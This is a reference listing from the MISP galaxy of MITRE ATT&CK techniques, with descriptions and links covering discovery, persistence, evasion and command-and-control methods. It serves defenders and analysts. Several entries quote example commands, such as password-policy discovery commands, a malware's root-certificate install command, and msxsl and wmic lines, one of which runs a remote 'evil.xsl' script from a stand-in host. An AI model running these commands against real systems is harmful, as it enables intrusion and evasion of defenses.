https://attack.mitre.org/techniques/T1004
https://capec.mitre.org/data/definitions/579.html
https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
https://technet.microsoft.com/en-us/sysinternals/bb963902

Modify System Partition - T1400

If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device system partition, where it may persist after device resets and may not be easily removed by the device user.

Many Android devices provide the ability to unlock the bootloader for development purposes. An unlocked bootloader may provide the ability for an adversary to modify the system partition. Even if the bootloader is locked, it may be possible for an adversary to escalate privileges and then modify the system partition.

The tag is: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400"

Table 2362. Table References
Links
https://attack.mitre.org/techniques/T1400
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html
https://source.android.com/security/verifiedboot/
https://www.apple.com/business/docs/iOS_Security_Guide.pdf

Compile After Delivery - T1500

Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)

Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)

The tag is: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1500"

Table 2363. Table References
Links
https://attack.mitre.org/techniques/T1500
https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/

System Service Discovery - T1007

Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are "sc," "tasklist /svc" using [Tasklist](https://attack.mitre.org/software/S0057), and "net start" using [Net](https://attack.mitre.org/software/S0039), but adversaries may also use other tools as well. Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

The tag is: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007"

Table 2364. Table References
Links
https://attack.mitre.org/techniques/T1007
https://capec.mitre.org/data/definitions/574.html

Taint Shared Content - T1080

Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary’s code on a remote system. Adversaries may use tainted shared content to move laterally.

A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1023) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1158). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user’s expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)

Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.

The tag is: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080"

Table 2365. Table References
Links
https://attack.mitre.org/techniques/T1080
https://capec.mitre.org/data/definitions/562.html
https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html

Security Support Provider - T1101

Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user’s Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called. (Citation: Graeber 2014)

The tag is: misp-galaxy:mitre-attack-pattern="Security Support Provider - T1101"

Table 2366. Table References
Links
https://attack.mitre.org/techniques/T1101
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
https://technet.microsoft.com/en-us/library/dn408187.aspx

Peripheral Device Discovery - T1120

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.

The tag is: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120"

Table 2367. Table References
Links
https://attack.mitre.org/techniques/T1120
https://capec.mitre.org/data/definitions/646.html

Password Policy Discovery - T1201

Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). An adversary may attempt to access detailed information about the password policy used within an enterprise network. This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).

Password policies can be set and discovered on Windows, Linux, and macOS systems. (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)

Windows

<code>net accounts</code>
<code>net accounts /domain</code>

Linux

<code>chage -l <username></code>
<code>cat /etc/pam.d/common-password</code>

macOS

<code>pwpolicy getaccountpolicies</code>

The tag is: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201"

Table 2368. Table References
Links
https://attack.mitre.org/techniques/T1201
https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu
https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines

Analyze business processes - T1301

Business processes, such as who typically communicates with who, or what the supply chain is for a particular part, provide opportunities for social engineering or other (Citation: Warwick2015)

The tag is: misp-galaxy:mitre-attack-pattern="Analyze business processes - T1301"

Table 2369. Table References
Links
https://attack.mitre.org/techniques/T1301

Install Root Certificate - T1130

Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root’s chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.

Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)

Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)

Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)

In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)

The tag is: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1130"

Table 2370. Table References
Links
https://attack.mitre.org/techniques/T1130
https://capec.mitre.org/data/definitions/479.html
https://en.wikipedia.org/wiki/Root_certificate
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf
https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/
https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
https://objective-see.com/blog/blog_0x26.html
https://docs.microsoft.com/sysinternals/downloads/sigcheck
https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/

Modify Existing Service - T1031

Windows service configuration information, including the file path to the service’s executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).

Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.

Adversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)

The tag is: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031"

Table 2371. Table References
Links
https://attack.mitre.org/techniques/T1031
https://capec.mitre.org/data/definitions/551.html
https://twitter.com/r0wdy_/status/936365549553991680
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)
https://technet.microsoft.com/en-us/sysinternals/bb963902

Remote File Copy - T1105

Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as [FTP](https://attack.mitre.org/software/S0095). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.

Adversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076).

The tag is: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105"

Table 2372. Table References
Links
https://attack.mitre.org/techniques/T1105
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Execution through API - T1106

Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters. (Citation: Microsoft CreateProcess)

Additional Windows API calls that can be used to execute binaries include: (Citation: Kanthak Verifier)

CreateProcessA() and CreateProcessW(),
CreateProcessAsUserA() and CreateProcessAsUserW(),
CreateProcessInternalA() and CreateProcessInternalW(),
CreateProcessWithLogonW(), CreateProcessWithTokenW(),
LoadLibraryA() and LoadLibraryW(),
LoadLibraryExA() and LoadLibraryExW(),
LoadModule(),
LoadPackagedLibrary(),
WinExec(),
ShellExecuteA() and ShellExecuteW(),
ShellExecuteExA() and ShellExecuteExW()

The tag is: misp-galaxy:mitre-attack-pattern="Execution through API - T1106"

Table 2373. Table References
Links
https://attack.mitre.org/techniques/T1106
http://msdn.microsoft.com/en-us/library/ms682425
https://skanthak.homepage.t-online.de/verifier.html

Graphical User Interface - T1061

The Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system’s GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.

The tag is: misp-galaxy:mitre-attack-pattern="Graphical User Interface - T1061"

Table 2374. Table References
Links
https://attack.mitre.org/techniques/T1061
https://en.wikipedia.org/wiki/Run_command

Application Deployment Software - T1017

Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.

Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.

The tag is: misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017"

Table 2375. Table References
Links
https://attack.mitre.org/techniques/T1017
https://capec.mitre.org/data/definitions/187.html

Credentials in Files - T1081

Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

It is possible to extract passwords from backups or saved virtual machines through [Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)

In cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)

The tag is: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081"

Table 2376. Table References
Links
https://attack.mitre.org/techniques/T1081
https://capec.mitre.org/data/definitions/639.html
http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html
http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx
https://posts.specterops.io/head-in-the-clouds-bd038bb69e48

Remote System Discovery - T1018

Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used. Adversaries may also use local host files in order to discover the hostname to IP address mappings of remote systems.

Windows

Examples of tools and commands that acquire this information include "ping" or "net view" using [Net](https://attack.mitre.org/software/S0039). The contents of the <code>C:\Windows\System32\Drivers\etc\hosts</code> file can be viewed to gain insight into the existing hostname to IP mappings on the system.

Mac

Specific to Mac, the <code>bonjour</code> protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as "ping" and others can be used to gather information about remote systems. The contents of the <code>/etc/hosts</code> file can be viewed to gain insight into existing hostname to IP mappings on the system.

Linux

Utilities such as "ping" and others can be used to gather information about remote systems. The contents of the <code>/etc/hosts</code> file can be viewed to gain insight into existing hostname to IP mappings on the system.

Cloud

In cloud environments, the above techniques may be used to discover remote systems depending upon the host operating system. In addition, cloud environments often provide APIs with information about remote systems and services.

The tag is: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018"

Table 2377. Table References
Links
https://attack.mitre.org/techniques/T1018
https://capec.mitre.org/data/definitions/292.html

Indirect Command Execution - T1202

Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)

Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.

The tag is: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202"

Table 2378. Table References
Links
https://attack.mitre.org/techniques/T1202
https://twitter.com/vector_sec/status/896049052642533376
https://twitter.com/Evi1cg/status/935027922397573120
https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe

XSL Script Processing - T1220

Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)

Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Similar to [Trusted Developer Utilities](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)

Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)

<code>msxsl.exe customers[.]xml script[.]xsl</code>
<code>msxsl.exe script[.]xsl script[.]xsl</code>
<code>msxsl.exe script[.]jpeg script[.]jpeg</code>

Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)

Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)

Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>
Remote File: <code>wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”</code>

The tag is: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220"

Table 2379. Table References
Links
https://attack.mitre.org/techniques/T1220
https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script
https://www.microsoft.com/download/details.aspx?id=21714
https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/
https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/
https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75
https://lolbas-project.github.io/lolbas/Binaries/Wmic/
https://twitter.com/dez_/status/986614411711442944

Standard Cryptographic Protocol - T1032

Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.

The tag is: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032"

Table 2380. Table References
Links
https://attack.mitre.org/techniques/T1032
http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840
https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html
https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Derive intelligence requirements - T1230

Leadership or key decision makers may derive specific intelligence requirements from Key Intelligence Topics (KITs) or Key Intelligence Questions (KIQs). Specific intelligence requirements assist analysts in gathering information to establish a baseline of information about a topic or question and collection managers to clarify the types of information that should be collected to satisfy the requirement. (Citation: LowenthalCh4) (Citation: Heffter)

The tag is: misp-galaxy:mitre-attack-pattern="Derive intelligence requirements - T1230"

Table 2381. Table References
Links
https://attack.mitre.org/techniques/T1230

Custom Cryptographic Protocol - T1024

Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.

Custom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.

Some adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)

The tag is: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024"

Table 2382. Table References
Links
https://attack.mitre.org/techniques/T1024
https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf
https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Domain Generation Algorithms - T1520

Adversaries may use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1520) (DGAs) to procedurally generate domain names for command and control communication, and other uses such as malicious application distribution.(Citation: securelist rotexy 2018)

DGAs increase the difficulty for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.

The tag is: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1520"

Table 2383. Table References
Links
https://attack.mitre.org/techniques/T1520
https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/
https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/

Parent PID Spoofing - T1502

Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)

Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](Rundll32(https://attack.mitre.org/techniques/T1085) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Execution through API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)

Explicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)

The tag is: misp-galaxy:mitre-attack-pattern="Parent PID Spoofing - T1502"

Table 2384. Table References
Links
https://attack.mitre.org/techniques/T1502
https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/
https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works
https://www.countercept.com/blog/detecting-parent-pid-spoofing/
https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/
https://blog.xpnsec.com/becoming-system/
https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags
https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3

System Information Discovery - T1082

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Windows

Example commands and utilities that obtain this information include <code>ver</code>, [Systeminfo](https://attack.mitre.org/software/S0096), and <code>dir</code> within [cmd](https://attack.mitre.org/software/S0106) for identifying information based on present files and directories.

Mac

On Mac, the <code>systemsetup</code> command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the <code>system_profiler</code> gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.

AWS

In Amazon Web Services (AWS), the Application Discovery Service may be used by an adversary to identify servers, virtual machines, software, and software dependencies running.(Citation: Amazon System Discovery)

GCP

On Google Cloud Platform (GCP) <code>GET /v1beta1/{parent=organizations/}/assets</code> or <code>POST /v1beta1/{parent=organizations/}/assets:runDiscovery</code> may be used to list an organizations cloud assets, or perform asset discovery on a cloud environment.(Citation: Google Command Center Dashboard)

Azure

In Azure, the API request <code>GET https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachines/{vmName}?api-version=2019-03-01</code>; may be used to retrieve information about the model or instance view of a virtual machine.(Citation: Microsoft Virutal Machine API)

The tag is: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"

Table 2385. Table References
Links
https://attack.mitre.org/techniques/T1082
https://capec.mitre.org/data/definitions/312.html
https://docs.aws.amazon.com/en_pv/application-discovery/latest/userguide/what-is-appdiscovery.html
https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard
https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get

Windows Remote Management - T1028

Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)

The tag is: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1028"

Table 2386. Table References
Links
https://attack.mitre.org/techniques/T1028
https://capec.mitre.org/data/definitions/555.html
http://msdn.microsoft.com/en-us/library/aa384426
https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2
https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc

Commonly Used Port - T1043

Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as

TCP:80 (HTTP)
TCP:443 (HTTPS)
TCP:25 (SMTP)
TCP/UDP:53 (DNS)

They may use the protocol associated with the port or a completely different protocol.

For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are

TCP/UDP:135 (RPC)
TCP/UDP:22 (SSH)
TCP/UDP:3389 (RDP)

The tag is: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043"

Table 2387. Table References
Links
https://attack.mitre.org/techniques/T1043
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Private whois services - T1305

Every domain registrar maintains a publicly viewable database that displays contact information for every registered domain. Private 'whois' services display alternative information, such as their own company data, rather than the owner of the domain. (Citation: APT1)

The tag is: misp-galaxy:mitre-attack-pattern="Private whois services - T1305"

Table 2388. Table References
Links
https://attack.mitre.org/techniques/T1305

Security Software Discovery - T1063

Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Windows

Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.

Mac

It’s becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.

The tag is: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063"

Table 2389. Table References
Links
https://attack.mitre.org/techniques/T1063

Test physical access - T1360

An adversary can test physical access options in preparation for the actual attack. This could range from observing behaviors and noting security precautions to actually attempting access. (Citation: OCIAC Pre Incident Indicators) (Citation: NewsAgencySpy)

The tag is: misp-galaxy:mitre-attack-pattern="Test physical access - T1360"

Table 2390. Table References
Links
https://attack.mitre.org/techniques/T1360

Exploit OS Vulnerability - T1404

A malicious app can exploit unpatched vulnerabilities in the operating system to obtain escalated privileges.

The tag is: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404"

Table 2391. Table References
Links
https://attack.mitre.org/techniques/T1404
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html

Exploit TEE Vulnerability - T1405

A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: laginimaineb-TEE).

The tag is: misp-galaxy:mitre-attack-pattern="Exploit TEE Vulnerability - T1405"

Table 2392. Table References
Links
https://attack.mitre.org/techniques/T1405
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html
https://usmile.at/symposium/program/2015/thomas-holmes
https://bits-please.blogspot.in/2016/06/extracting-qualcomms-keymaster-keys.html
https://usmile.at/symposium/program/2015/ekberg
http://bits-please.blogspot.co.il/2016/05/war-of-worlds-hijacking-linux-kernel.html

Network Service Scanning - T1046

Within cloud environments, adversaries may attempt to discover services running on other cloud hosts or cloud services enabled within the environment. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems.

The tag is: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046"

Table 2393. Table References
Links
https://attack.mitre.org/techniques/T1046
https://capec.mitre.org/data/definitions/300.html

Windows Management Instrumentation - T1047

Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)

An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015)

The tag is: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047"

Table 2394. Table References
Links
https://attack.mitre.org/techniques/T1047
